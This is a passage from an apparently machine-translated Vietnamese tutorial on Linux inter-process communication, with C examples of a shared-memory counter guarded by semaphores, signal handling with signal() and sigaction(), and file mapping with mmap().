int cntr;
int write_complete;
int read_complete;
};
void shared_memory_cntr_increment(int, struct shmseg*, int);
void remove_semaphore();
int main(int argc, char *argv[]) {
int shmid;
struct shmseg *shmp;
char *bufptr;
int total_count;
int sleep_time;
pid_t pid;
if (argc != 2)
total_count = 10000;
else {
total_count = atoi(argv[1]);
if (total_count < 10000)
total_count = 10000;
}
printf("Total Count is %d\n", total_count);
shmid = shmget(SHM_KEY, sizeof(struct shmseg), 0644|IPC_CREAT);
if (shmid == -1) {
perror("Shared memory");
return 1;
}
// Attach to the segment to get a pointer to it.
shmp = shmat(shmid, NULL, 0);
if (shmp == (void *) -1) {
perror("Shared memory attach: ");
return 1;
}
shmp->cntr = 0;
pid = fork();
/* Parent Process - Writing Once */
if (pid > 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
} else if (pid == 0) {
shared_memory_cntr_increment(pid, shmp, total_count);
return 0;
} else {
perror("Fork Failure\n");
return 1;
}
while (shmp->read_complete != 1)
sleep(1);
if (shmdt(shmp) == -1) {
perror("shmdt");
return 1;
}
if (shmctl(shmid, IPC_RMID, 0) == -1) {
perror("shmctl");
return 1;
}
printf("Writing Process: Complete\n");
remove_semaphore();
return 0;
}
/* Increment the counter of shared memory by total_count in steps of 1 */
void shared_memory_cntr_increment(int pid, struct shmseg *shmp, int total_count) {
int cntr;
int numtimes;
int sleep_time;
int semid;
struct sembuf sem_buf;
struct semid_ds buf;
int tries;
int retval;
semid = semget(SEM_KEY, 1, IPC_CREAT | IPC_EXCL | 0666);
//printf("errno is %d and semid is %d\n", errno, semid);
/* Got the semaphore */
if (semid >= 0) {
printf("First Process\n");
sem_buf.sem_op = 1;
sem_buf.sem_flg = 0;
sem_buf.sem_num = 0;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Operation: ");
return;
}
} else if (errno == EEXIST) { // Already other process got it
int ready = 0;
printf("Second Process\n");
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Semaphore GET: ");
return;
}
/* Waiting for the resource */
sem_buf.sem_num = 0;
sem_buf.sem_op = 0;
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
}
sem_buf.sem_num = 0;
sem_buf.sem_op = -1; /* Allocating the resources */
sem_buf.sem_flg = SEM_UNDO;
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked: ");
return;
}
cntr = shmp->cntr;
shmp->write_complete = 0;
if (pid == 0)
printf("SHM_WRITE: CHILD: Now writing\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Now writing\n");
//printf("SHM_CNTR is %d\n", shmp->cntr);
/* Increment the counter in shared memory by total_count in steps of 1 */
for (numtimes = 0; numtimes < total_count; numtimes++) {
cntr += 1;
shmp->cntr = cntr;
/* Sleeping for a second for every thousand */
sleep_time = cntr % 1000;
if (sleep_time == 0)
sleep(1);
}
shmp->write_complete = 1;
sem_buf.sem_op = 1; /* Releasing the resource */
retval = semop(semid, &sem_buf, 1);
if (retval == -1) {
perror("Semaphore Locked\n");
return;
}
if (pid == 0)
printf("SHM_WRITE: CHILD: Writing Done\n");
else if (pid > 0)
printf("SHM_WRITE: PARENT: Writing Done\n");
return;
}
void remove_semaphore() {
int semid;
int retval;
semid = semget(SEM_KEY, 1, 0);
if (semid < 0) {
perror("Remove Semaphore: Semaphore GET: ");
return;
}
retval = semctl(semid, 0, IPC_RMID);
if (retval == -1) {
perror("Remove Semaphore: Semaphore CTL: ");
return;
}
return;
}
Các bước biên dịch và thực hiện
Total Count is 10000
First Process
SHM_WRITE: PARENT: Now writing
Second Process
SHM_WRITE: PARENT: Writing Done
SHM_WRITE: CHILD: Now writing
SHM_WRITE: CHILD: Writing Done
Writing Process: Complete
Bây giờ, chúng ta sẽ kiểm tra giá trị bộ đếm bằng quá trình đọc.
Các bước thực hiện
Reading Process: Shared Memory: Counter is 20000
Reading Process: Reading Done, Detaching Shared Memory
Reading Process: Complete
A signallà một thông báo cho một quá trình cho biết sự xuất hiện của một sự kiện. Tín hiệu còn được gọi làsoftware interrupt và không thể đoán trước được sự xuất hiện của nó, do đó nó còn được gọi là asynchronous event.
Tín hiệu có thể được chỉ định bằng một số hoặc một tên, thông thường tên tín hiệu bắt đầu bằng SIG. Các tín hiệu có sẵn có thể được kiểm tra bằng lệnh kill –l (l cho tên tín hiệu Liệt kê), như sau:
Bất cứ khi nào tín hiệu được nâng lên (tín hiệu theo chương trình hoặc do hệ thống tạo), một hành động mặc định sẽ được thực hiện. Điều gì sẽ xảy ra nếu bạn không muốn thực hiện hành động mặc định nhưng muốn thực hiện hành động của riêng bạn khi nhận tín hiệu? Điều này có khả thi cho tất cả các tín hiệu không? Có, có thể xử lý tín hiệu nhưng không phải cho tất cả các tín hiệu. Điều gì xảy ra nếu bạn muốn bỏ qua các tín hiệu, điều này có khả thi không? Có, có thể bỏ qua tín hiệu. Bỏ qua tín hiệu có nghĩa là không thực hiện hành động mặc định cũng như không xử lý tín hiệu. Có thể bỏ qua hoặc xử lý gần như tất cả các tín hiệu. Các tín hiệu không thể bỏ qua hoặc xử lý / bắt được là SIGSTOP và SIGKILL.
Tóm lại, các hành động được thực hiện đối với các tín hiệu như sau:
- Hành động mặc định
- Xử lý tín hiệu
- Bỏ qua tín hiệu
Như đã thảo luận, tín hiệu có thể được xử lý thay đổi việc thực thi hành động mặc định. Việc xử lý tín hiệu có thể được thực hiện theo một trong hai cách tức là thông qua lệnh gọi hệ thống, signal () và sigaction ().
#include <signal.h>
typedef void (*sighandler_t) (int);
sighandler_t signal(int signum, sighandler_t handler);
Tín hiệu cuộc gọi hệ thống () sẽ gọi trình xử lý đã đăng ký khi tạo ra tín hiệu như đã đề cập trong signum. Bộ xử lý có thể là một trong các SIG_IGN (Bỏ qua tín hiệu), SIG_DFL (Đặt tín hiệu trở lại cơ chế mặc định) hoặc bộ xử lý tín hiệu do người dùng xác định hoặc địa chỉ chức năng.
Lệnh gọi thành công của hệ thống này trả về địa chỉ của một hàm nhận đối số là số nguyên và không có giá trị trả về. Cuộc gọi này trả về SIG_ERR trong trường hợp có lỗi.
Mặc dù với signal (), trình xử lý tín hiệu tương ứng được người dùng đăng ký có thể được gọi, nhưng không thể thực hiện việc tinh chỉnh như che dấu các tín hiệu cần bị chặn, sửa đổi hành vi của tín hiệu và các chức năng khác. Điều này có thể sử dụng lệnh gọi hệ thống sigaction ().
#include <signal.h>
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact)
Lệnh gọi hệ thống này được sử dụng để kiểm tra hoặc thay đổi hành động tín hiệu. Nếu hành động không phải là null, thì hành động mới cho dấu hiệu tín hiệu được cài đặt từ hành động. Nếu oldact không rỗng, hành động trước đó sẽ được lưu trong oldact.
Cấu trúc sigaction chứa các trường sau:
Field 1 - Xử lý được đề cập trong sa_handler hoặc sa_sigaction.
void (*sa_handler)(int);
void (*sa_sigaction)(int, siginfo_t *, void *);
Trình xử lý cho sa_handler chỉ định hành động được thực hiện dựa trên dấu hiệu và với SIG_DFL chỉ ra hành động mặc định hoặc SIG_IGN để bỏ qua tín hiệu hoặc con trỏ đến một chức năng xử lý tín hiệu.
Trình xử lý cho sa_sigaction chỉ định số tín hiệu làm đối số đầu tiên, con trỏ tới cấu trúc siginfo_t làm đối số thứ hai và con trỏ tới ngữ cảnh người dùng (kiểm tra getcontext () hoặc setcontext () để biết thêm chi tiết) làm đối số thứ ba.
Cấu trúc siginfo_t chứa thông tin tín hiệu như số tín hiệu được gửi, giá trị tín hiệu, id quy trình, id người dùng thực của quy trình gửi, v.v.
Field 2 - Bộ tín hiệu bị chặn.
int sa_mask;
Biến này chỉ định mặt nạ của các tín hiệu cần bị chặn trong quá trình thực thi trình xử lý tín hiệu.
Field 3 - Cờ đặc biệt.
int sa_flags;
Trường này chỉ định một tập hợp các cờ sửa đổi hành vi của tín hiệu.
Field 4 - Trình xử lý khôi phục.
void (*sa_restorer) (void);
Lệnh gọi hệ thống này trả về 0 khi thành công và -1 trong trường hợp thất bại.
Chúng ta hãy xem xét một vài chương trình mẫu.
Đầu tiên, chúng ta hãy bắt đầu với một chương trình mẫu, chương trình này tạo ra ngoại lệ. Trong chương trình này, chúng tôi đang cố gắng thực hiện phép toán chia cho 0, điều này làm cho hệ thống tạo ra một ngoại lệ.
/* signal_fpe.c */
#include<stdio.h>
int main() {
int result;
int v1, v2;
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
Các bước biên dịch và thực hiện
Floating point exception (core dumped)
Do đó, khi chúng ta đang cố gắng thực hiện một phép toán số học, hệ thống đã tạo ra một ngoại lệ dấu chấm động với kết xuất lõi, đây là hành động mặc định của tín hiệu.
Bây giờ, chúng ta hãy sửa đổi mã để xử lý tín hiệu cụ thể này bằng lệnh gọi hệ thống signal ().
/* signal_fpe_handler.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_dividebyzero(int signum);
int main() {
int result;
int v1, v2;
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGFPE, handler_dividebyzero);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
v1 = 121;
v2 = 0;
result = v1/v2;
printf("Result of Divide by Zero is %d\n", result);
return 0;
}
void handler_dividebyzero(int signum) {
if (signum == SIGFPE) {
printf("Received SIGFPE, Divide by Zero Exception\n");
exit (0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Các bước biên dịch và thực hiện
Received SIGFPE, Divide by Zero Exception
Như đã thảo luận, tín hiệu được tạo ra bởi hệ thống (khi thực hiện một số hoạt động nhất định như chia cho 0, v.v.) hoặc người dùng cũng có thể tạo tín hiệu theo chương trình. Nếu bạn muốn tạo tín hiệu theo chương trình, hãy sử dụng hàm thư viện raise ().
Bây giờ, chúng ta hãy lấy một chương trình khác để chứng minh việc xử lý và bỏ qua tín hiệu.
Giả sử rằng chúng ta đã tăng một tín hiệu bằng cách sử dụng raise (), điều gì sẽ xảy ra sau đó? Sau khi tăng tín hiệu, quá trình thực thi hiện tại bị dừng lại. Sau đó, điều gì xảy ra với quá trình bị dừng? Có thể có hai trường hợp - Đầu tiên, tiếp tục thực hiện bất cứ khi nào được yêu cầu. Thứ hai, chấm dứt (bằng lệnh kill) quá trình.
Để tiếp tục thực hiện quy trình đã dừng, hãy gửi SIGCONT đến quy trình cụ thể đó. Bạn cũng có thể đưa ra lệnh fg (nền trước) hoặc bg (nền) để tiếp tục thực hiện. Ở đây, các lệnh sẽ chỉ bắt đầu lại quá trình cuối cùng. Nếu có nhiều quá trình bị dừng, thì chỉ quá trình cuối cùng được tiếp tục. Nếu bạn muốn tiếp tục quá trình đã dừng trước đó, hãy tiếp tục các công việc (sử dụng fg / bg) cùng với số công việc.
Chương trình sau đây được sử dụng để nâng cao tín hiệu SIGSTOP bằng cách sử dụng hàm raise (). Tín hiệu SIGSTOP cũng có thể được tạo bằng cách người dùng nhấn phím CTRL + Z (Control + Z). Sau khi phát tín hiệu này, chương trình sẽ ngừng thực hiện. Gửi tín hiệu (SIGCONT) để tiếp tục thực hiện.
Trong ví dụ sau, chúng tôi đang tiếp tục quá trình đã dừng bằng lệnh fg.
/* signal_raising.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
int main() {
printf("Testing SIGSTOP\n");
raise(SIGSTOP);
return 0;
}
Các bước biên dịch và thực hiện
Testing SIGSTOP
[1]+ Stopped ./a.out
./a.out
Bây giờ, hãy nâng cấp chương trình trước đó để tiếp tục thực hiện quá trình đã dừng bằng cách cấp SIGCONT từ một thiết bị đầu cuối khác.
/* signal_stop_continue.c */
#include<stdio.h>
#include<signal.h>
#include <sys/types.h>
#include <unistd.h>
void handler_sigtstp(int signum);
int main() {
pid_t pid;
printf("Testing SIGSTOP\n");
pid = getpid();
printf("Open Another Terminal and issue following command\n");
printf("kill -SIGCONT %d or kill -CONT %d or kill -18 %d\n", pid, pid, pid);
raise(SIGSTOP);
printf("Received signal SIGCONT\n");
return 0;
}
Các bước biên dịch và thực hiện
Testing SIGSTOP
Open Another Terminal and issue following command
kill -SIGCONT 30379 or kill -CONT 30379 or kill -18 30379
[1]+ Stopped ./a.out
Received signal SIGCONT
[1]+ Done ./a.out
Trong một thiết bị đầu cuối khác
kill -SIGCONT 30379
Cho đến nay, chúng ta đã thấy chương trình xử lý tín hiệu do hệ thống tạo ra. Bây giờ, chúng ta hãy xem tín hiệu được tạo ra thông qua chương trình (sử dụng hàm raise () hoặc thông qua lệnh kill). Chương trình này tạo ra tín hiệu SIGTSTP (dừng đầu cuối), có hành động mặc định là dừng thực thi. Tuy nhiên, vì chúng ta đang xử lý tín hiệu ngay bây giờ thay vì hành động mặc định, nó sẽ đến với trình xử lý đã xác định. Trong trường hợp này, chúng tôi chỉ in thông báo và thoát.
/* signal_raising_handling.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, handler_sigtstp);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
return 0;
}
void handler_sigtstp(int signum) {
if (signum == SIGTSTP) {
printf("Received SIGTSTP\n");
exit(0);
}
else
printf("Received %d Signal\n", signum);
return;
}
Các bước biên dịch và thực hiện
Testing SIGTSTP
Received SIGTSTP
Chúng tôi đã thấy các trường hợp thực hiện hành động mặc định hoặc xử lý tín hiệu. Bây giờ, đã đến lúc bỏ qua tín hiệu. Ở đây, trong chương trình mẫu này, chúng ta đang đăng ký tín hiệu SIGTSTP để bỏ qua thông qua SIG_IGN và sau đó chúng ta đang nâng tín hiệu SIGTSTP (dừng đầu cuối). Khi tín hiệu SIGTSTP đang được tạo ra sẽ bị bỏ qua.
/* signal_raising_ignoring.c */
#include<stdio.h>
#include<signal.h>
#include<stdlib.h>
void handler_sigtstp(int signum);
int main() {
void (*sigHandlerReturn)(int);
sigHandlerReturn = signal(SIGTSTP, SIG_IGN);
if (sigHandlerReturn == SIG_ERR) {
perror("Signal Error: ");
return 1;
}
printf("Testing SIGTSTP\n");
raise(SIGTSTP);
printf("Signal SIGTSTP is ignored\n");
return 0;
}
Các bước biên dịch và thực hiện
Testing SIGTSTP
Signal SIGTSTP is ignored
Cho đến nay, chúng tôi đã quan sát thấy rằng chúng tôi có một bộ xử lý tín hiệu để xử lý một tín hiệu. Chúng ta có thể có một trình xử lý duy nhất để xử lý nhiều tín hiệu không? Câu trả lời là Có. Hãy để chúng tôi xem xét điều này với một chương trình.
Chương trình sau thực hiện những điều sau:
Step 1 - Đăng ký một trình xử lý (handleSignals) để bắt hoặc xử lý các tín hiệu SIGINT (CTRL + C) hoặc SIGQUIT (CTRL + \)
Step 2 - Nếu người dùng tạo tín hiệu SIGQUIT (thông qua lệnh kill hoặc điều khiển bàn phím bằng CTRL + \), trình xử lý chỉ cần in thông báo dưới dạng trả về.
Step 3 - Nếu người dùng tạo tín hiệu SIGINT (thông qua lệnh kill hoặc điều khiển bàn phím bằng CTRL + C) lần đầu tiên, thì nó sẽ sửa đổi tín hiệu để thực hiện hành động mặc định (với SIG_DFL) từ lần sau.
Step 4 - Nếu người dùng tạo ra tín hiệu SIGINT lần thứ hai, nó sẽ thực hiện một hành động mặc định, đó là kết thúc chương trình.
/* Filename: sigHandler.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerInterrupt)(int);
void (*sigHandlerQuit)(int);
void (*sigHandlerReturn)(int);
sigHandlerInterrupt = sigHandlerQuit = handleSignals;
sigHandlerReturn = signal(SIGINT, sigHandlerInterrupt);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
sigHandlerReturn = signal(SIGQUIT, sigHandlerQuit);
if (sigHandlerReturn == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (1) {
printf("\nTo terminate this program, perform the following: \n");
printf("1. Open another terminal\n");
printf("2. Issue command: kill %d or issue CTRL+C 2 times (second time it terminates)\n", getpid());
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou pressed CTRL+C \n");
printf("Now reverting SIGINT signal to default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou pressed CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Các bước biên dịch và thực hiện
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 74 or issue CTRL+C 2 times (second time it terminates)
^\You pressed CTRL+\
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 120
Terminated
Một nhà ga khác
kill 71
Phương pháp thứ hai
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
You pressed CTRL+C
Now reverting SIGINT signal to default action
To terminate this program, perform the following:
1. Open another terminal
2. Issue command: kill 71 or issue CTRL+C 2 times (second time it terminates)
^C
Chúng ta biết rằng để xử lý một tín hiệu, chúng ta có hai lệnh gọi hệ thống, tức là signal () hoặc sigaction (). Cho đến bây giờ chúng ta đã thấy với cuộc gọi hệ thống signal (), bây giờ là lúc cho cuộc gọi hệ thống sigaction (). Hãy để chúng tôi sửa đổi chương trình trên để thực hiện bằng cách sử dụng sigaction () như sau:
/* Filename: sigHandlerSigAction.c */
#include<stdio.h>
#include<unistd.h>
#include<signal.h>
void handleSignals(int signum);
int main(void) {
void (*sigHandlerReturn)(int);
struct sigaction mysigaction;
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGINT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
mysigaction.sa_handler = handleSignals;
sigemptyset(&mysigaction.sa_mask);
mysigaction.sa_flags = 0;
sigaction(SIGQUIT, &mysigaction, NULL);
if (mysigaction.sa_handler == SIG_ERR) {
perror("signal error: ");
return 1;
}
while (-1) {
printf("\nTo terminate this program, perform either of the following: \n");
printf("1. Open another terminal and issue command: kill %d\n", getpid());
printf("2. Issue CTRL+C 2 times (second time it terminates)\n");
sleep(10);
}
return 0;
}
void handleSignals(int signum) {
switch(signum) {
case SIGINT:
printf("\nYou have entered CTRL+C \n");
printf("Now reverting SIGINT signal to perform default action\n");
signal(SIGINT, SIG_DFL);
break;
case SIGQUIT:
printf("\nYou have entered CTRL+\\ \n");
break;
default:
printf("\nReceived signal number %d\n", signum);
break;
}
return;
}
Hãy cho chúng tôi xem quá trình biên dịch và thực thi. Trong quá trình thực thi, hãy cho chúng tôi thấy sự cố CTRL + C hai lần, các kiểm tra / cách còn lại (như trên) bạn cũng có thể thử cho chương trình này.
Các bước biên dịch và thực hiện
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
You have entered CTRL+C
Now reverting SIGINT signal to perform default action
To terminate this program, perform either of the following:
1. Open another terminal and issue command: kill 3199
2. Issue CTRL+C 2 times (second time it terminates)
^C
Lệnh gọi hệ thống mmap () cung cấp ánh xạ trong không gian địa chỉ ảo của quá trình gọi ánh xạ các tệp hoặc thiết bị vào bộ nhớ. Đây là hai loại -
File mapping or File-backed mapping- Ánh xạ này ánh xạ khu vực của bộ nhớ ảo của tiến trình với các tệp. Điều này có nghĩa là việc đọc hoặc ghi vào các vùng bộ nhớ đó khiến tệp được đọc hoặc ghi. Đây là kiểu ánh xạ mặc định.
Anonymous mapping- Ánh xạ này ánh xạ khu vực của bộ nhớ ảo của tiến trình mà không được hỗ trợ bởi bất kỳ tệp nào. Nội dung được khởi tạo bằng 0. Ánh xạ này tương tự như cấp phát bộ nhớ động (malloc ()) và được sử dụng trong một số triển khai malloc () cho một số cấp phát nhất định.
Bộ nhớ trong một ánh xạ quy trình có thể được chia sẻ với ánh xạ trong các quy trình khác. Điều này có thể được thực hiện theo hai cách -
Khi hai quá trình ánh xạ cùng một vùng của một tệp, chúng chia sẻ các trang của bộ nhớ vật lý giống nhau.
Nếu một tiến trình con được tạo, nó kế thừa các ánh xạ của cha và các ánh xạ này tham chiếu đến các trang của bộ nhớ vật lý giống như của cha. Khi có bất kỳ thay đổi nào về dữ liệu trong quy trình con, các trang khác nhau sẽ được tạo cho quy trình con.
Khi hai hoặc nhiều quy trình chia sẻ các trang giống nhau, mỗi quy trình có thể thấy những thay đổi của nội dung trang do các quy trình khác thực hiện tùy thuộc vào loại ánh xạ. Loại ánh xạ có thể là riêng tư hoặc được chia sẻ -
Private Mapping (MAP_PRIVATE) - Các sửa đổi đối với nội dung của ánh xạ này không hiển thị với các quy trình khác và ánh xạ không được chuyển đến tệp bên dưới.
Shared Mapping (MAP_SHARED) - Các sửa đổi đối với nội dung của ánh xạ này có thể nhìn thấy đối với các quá trình khác và ánh xạ được chuyển đến tệp bên dưới.
#include <sys/mman.h>
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
Lệnh gọi hệ thống ở trên trả về địa chỉ bắt đầu của ánh xạ khi thành công hoặc MAP_FAILED do lỗi.
Trình bổ sung địa chỉ ảo, có thể được người dùng chỉ định hoặc được tạo bởi hạt nhân (khi chuyển trình bổ sung dưới dạng NULL). Độ dài trường được chỉ ra yêu cầu kích thước ánh xạ tính bằng byte. Trường prot chỉ ra các giá trị bảo vệ bộ nhớ như PROT_NONE, PROT_READ, PROT_WRITE, PROT_EXEC dành cho các vùng có thể không được truy cập, đọc, ghi hoặc thực thi tương ứng. Giá trị này có thể là đơn (PROT_NONE) hoặc có thể là ORd với bất kỳ cờ nào trong ba cờ (3 cuối). Các cờ trường cho biết loại ánh xạ hoặc MAP_PRIVATE hoặc MAP_SHARED. Trường 'fd' cho biết bộ mô tả tệp xác định tệp sẽ được ánh xạ và trường "offset" ngụ ý điểm bắt đầu của tệp, nếu cần ánh xạ toàn bộ tệp, độ lệch phải bằng không.
#include <sys/mman.h>
int munmap(void *addr, size_t length);
Lệnh gọi hệ thống trên trả về 0 nếu thành công hoặc -1 khi lỗi.
Hệ thống gọi munmap, thực hiện việc giải nén vùng đã được ánh xạ trong bộ nhớ. Các trường bổ sung cho biết địa chỉ bắt đầu của ánh xạ và độ dài cho biết kích thước tính bằng byte của ánh xạ sẽ được bỏ ánh xạ. Thông thường, ánh xạ và bỏ ánh xạ sẽ dành cho toàn bộ các vùng được ánh xạ. Nếu điều này phải khác, thì nó nên được thu nhỏ hoặc cắt làm hai phần. Nếu trình bổ sung không có bất kỳ ánh xạ nào thì cuộc gọi này sẽ không có hiệu lực và cuộc gọi trả về 0 (thành công).
Hãy để chúng tôi xem xét một ví dụ -
Step 1 - Đánh dấu vào tệp ký tự Alpha Numeric như hình bên dưới -
0 | 1 | 2 | … | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | … | 59 | 60 | 61 |
A | B | C | … | Z | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | b | c | … | x | y | z |
Step 2- Ánh xạ nội dung tệp vào bộ nhớ bằng lệnh gọi hệ thống mmap (). Điều này sẽ trả về địa chỉ bắt đầu sau khi ánh xạ vào bộ nhớ.
Step 3- Truy cập nội dung tệp bằng ký hiệu mảng (cũng có thể truy cập bằng ký hiệu con trỏ) vì không đọc lệnh gọi hệ thống read () đắt tiền. Sử dụng ánh xạ bộ nhớ, tránh sao chép nhiều lần giữa không gian người dùng, bộ đệm không gian hạt nhân và bộ đệm đệm.
Step 4 - Lặp lại việc đọc nội dung tệp cho đến khi người dùng nhập “-1” (có nghĩa là kết thúc truy cập).
Step 5 - Thực hiện các hoạt động dọn dẹp tức là giải nén vùng bộ nhớ được ánh xạ (munmap ()), đóng tệp và xóa tệp.
/* Filename: mmap_test.c */
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/mman.h>
void write_mmap_sample_data();
int main() {
struct stat mmapstat;
char *data;
int minbyteindex;
int maxbyteindex;
int offset;
int fd;
int unmapstatus;
write_mmap_sample_data();
if (stat("MMAP_DATA.txt", &mmapstat) == -1) {
perror("stat failure");
return 1;
}
if ((fd = open("MMAP_DATA.txt", O_RDONLY)) == -1) {
perror("open failure");
return 1;
}
data = mmap((caddr_t)0, mmapstat.st_size, PROT_READ, MAP_SHARED, fd, 0);
if (data == (caddr_t)(-1)) {
perror("mmap failure");
return 1;
}
minbyteindex = 0;
maxbyteindex = mmapstat.st_size - 1;
do {
printf("Enter -1 to quit or ");
printf("enter a number between %d and %d: ", minbyteindex, maxbyteindex);
scanf("%d",&offset);
if ( (offset >= 0) && (offset <= maxbyteindex) )
printf("Received char at %d is %c\n", offset, data[offset]);
else if (offset != -1)
printf("Received invalid index %d\n", offset);
} while (offset != -1);
unmapstatus = munmap(data, mmapstat.st_size);
if (unmapstatus == -1) {
perror("munmap failure");
return 1;
}
close(fd);
system("rm -f MMAP_DATA.txt");
return 0;
}
void write_mmap_sample_data() {
int fd;
char ch;
struct stat textfilestat;
fd = open("MMAP_DATA.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666);
if (fd == -1) {
perror("File open error ");
return;
}
// Write A to Z
ch = 'A';
while (ch <= 'Z') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write 0 to 9
ch = '0';
while (ch <= '9') {
write(fd, &ch, sizeof(ch));
ch++;
}
// Write a to z
ch = 'a';
while (ch <= 'z') {
write(fd, &ch, sizeof(ch));
ch++;
}
close(fd);
return;
}
Đầu ra
Enter -1 to quit or enter a number between 0 and 61: 3
Received char at 3 is D
Enter -1 to quit or enter a number between 0 and 61: 28
Received char at 28 is 2
Enter -1 to quit or enter a number between 0 and 61: 38
Received char at 38 is c
Enter -1 to quit or enter a number between 0 and 61: 59
Received char at 59 is x
Enter -1 to quit or enter a number between 0 and 61: 65
Received invalid index 65
Enter -1 to quit or enter a number between 0 and 61: -99
Received invalid index -99
Enter -1 to quit or enter a number between 0 and 61: -1